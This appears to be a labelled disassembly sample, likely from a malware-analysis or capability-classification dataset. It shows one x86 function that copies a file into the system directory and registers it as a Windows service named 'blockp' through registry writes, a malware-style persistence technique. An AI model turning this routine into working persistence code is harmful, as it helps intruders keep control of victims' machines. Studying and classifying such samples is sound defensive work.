Function at 0x409d80
Capabilities:
Copy file
Get common file path
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe94
mov eax, 0x478ff0
call fcn.0046a008
mov dword [ebp - 0x60], 1
push 0x104
lea edx, [ebp - 0x16c]
push edx
call sub.KERNEL32.DLL_GetSystemDirectoryA
test eax, eax
jbe 0x40a08b
mov word [ebp - 0x4c], 0x14
lea edx, [ebp - 0x16c]
lea eax, [ebp - 4]
call fcn.00473eac
inc dword [ebp - 0x40]
mov word [ebp - 0x4c], 8
mov word [ebp - 0x4c], 0x20
lea eax, [ebp - 0x10]
call fcn.00401abc
push eax
inc dword [ebp - 0x40]
mov edx, 0x478e38
lea eax, [ebp - 0xc]
call fcn.00473eac
inc dword [ebp - 0x40]
lea edx, [ebp - 0xc]
lea eax, [ebp - 4]
pop ecx
call fcn.00473fd4
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x18]
call fcn.00401abc
push eax
inc dword [ebp - 0x40]
mov edx, 0x478e42
lea eax, [ebp - 0x14]
call fcn.00473eac
inc dword [ebp - 0x40]
lea edx, [ebp - 0x14]
pop ecx
pop eax
call fcn.00473fd4
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x20]
call fcn.00401abc
push eax
inc dword [ebp - 0x40]
mov edx, 0x478e49
lea eax, [ebp - 0x1c]
call fcn.00473eac
inc dword [ebp - 0x40]
lea edx, [ebp - 0x1c]
pop ecx
pop eax
call fcn.00473fd4
lea edx, [ebp - 0x20]
lea eax, [ebp - 4]
call fcn.00473fac
dec dword [ebp - 0x40]
lea eax, [ebp - 0x20]
mov edx, 2
call fcn.00473f7c
dec dword [ebp - 0x40]
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.00473f7c
dec dword [ebp - 0x40]
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.00473f7c
dec dword [ebp - 0x40]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00473f7c
dec dword [ebp - 0x40]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00473f7c
dec dword [ebp - 0x40]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00473f7c
mov word [ebp - 0x4c], 0x2c
lea eax, [ebp - 0x24]
call fcn.00401abc
mov edx, eax
inc dword [ebp - 0x40]
mov ecx, dword [0x482a30]
mov eax, dword [ecx]
call fcn.004556b4
lea edx, [ebp - 0x24]
push dword [edx]
lea eax, [ebp - 0x28]
call fcn.00401abc
mov edx, eax
inc dword [ebp - 0x40]
pop eax
call fcn.00420ff8
lea edx, [ebp - 0x28]
push edx
lea eax, [ebp - 0x30]
call fcn.00401abc
push eax
inc dword [ebp - 0x40]
mov edx, str.blockp
lea eax, [ebp - 0x2c]
call fcn.00473eac
inc dword [ebp - 0x40]
lea edx, [ebp - 0x2c]
pop ecx
pop eax
call fcn.00473fd4
lea edx, [ebp - 0x30]
push edx
lea eax, [ebp - 8]
call fcn.00401abc
push eax
inc dword [ebp - 0x40]
mov edx, 0x478e55
lea eax, [ebp - 0x34]
call fcn.00473eac
inc dword [ebp - 0x40]
lea edx, [ebp - 0x34]
pop ecx
pop eax
call fcn.00473fd4
dec dword [ebp - 0x40]
lea eax, [ebp - 0x34]
mov edx, 2
call fcn.00473f7c
dec dword [ebp - 0x40]
lea eax, [ebp - 0x30]
mov edx, 2
call fcn.00473f7c
dec dword [ebp - 0x40]
lea eax, [ebp - 0x2c]
mov edx, 2
call fcn.00473f7c
dec dword [ebp - 0x40]
lea eax, [ebp - 0x28]
mov edx, 2
call fcn.00473f7c
dec dword [ebp - 0x40]
lea eax, [ebp - 0x24]
mov edx, 2
call fcn.00473f7c
mov word [ebp - 0x4c], 8
push 0
lea eax, [ebp - 4]
call fcn.00401fd8
push eax
lea eax, [ebp - 8]
call fcn.00401fd8
push eax
call sub.KERNEL32.DLL_CopyFileA
test eax, eax
jne 0x409fc1
xor edx, edx
mov dword [ebp - 0x60], edx
lea ecx, [ebp - 0x64]
push ecx
push str.SystemCurrentControlSetServices_blockp
push reloc.WSOCK32.DLL_bind
call sub.ADVAPI32.DLL_RegCreateKeyA
test eax, eax
jne 0x40a05e
mov dword [ebp - 0x68], 2
push 4
lea eax, [ebp - 0x68]
push eax
push 4
push 0
push str.Type
push dword [ebp - 0x64]
call sub.ADVAPI32.DLL_RegSetValueExA
xor edx, edx
mov dword [ebp - 0x68], edx
push 4
lea ecx, [ebp - 0x68]
push ecx
push 4
push 0
push str.ErrorControl
push dword [ebp - 0x64]
call sub.ADVAPI32.DLL_RegSetValueExA
xor eax, eax
mov dword [ebp - 0x68], eax
push 4
lea edx, [ebp - 0x68]
push edx
push 4
push 0
push str.Start
push dword [ebp - 0x64]
call sub.ADVAPI32.DLL_RegSetValueExA
push str.filter
call fcn.00469dcc
pop ecx
push eax
push 0x478ea1
push 1
push 0
push str.Group
push dword [ebp - 0x64]
call sub.ADVAPI32.DLL_RegSetValueExA
push dword [ebp - 0x64]
call sub.ADVAPI32.DLL_RegCloseKey
jmp 0x40a063
xor ecx, ecx
mov dword [ebp - 0x60], ecx
dec dword [ebp - 0x40]
lea eax, [ebp - 8]
mov edx, 2
call fcn.00473f7c
dec dword [ebp - 0x40]
lea eax, [ebp - 4]
mov edx, 2
call fcn.00473f7c
mov word [ebp - 0x4c], 0
jmp 0x40a0bd
xor ecx, ecx
mov dword [ebp - 0x60], ecx
mov word [ebp - 0x4c], 0x38
mov edx, 0x478eaf
lea eax, [ebp - 0x38]
call fcn.00473eac
inc dword [ebp - 0x40]
mov eax, dword [eax]
call fcn.00458520
dec dword [ebp - 0x40]
lea eax, [ebp - 0x38]
mov edx, 2
call fcn.00473f7c
cmp dword [ebp - 0x60], 0
mov eax, dword [ebp - 0x60]
mov edx, dword [ebp - 0x5c]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret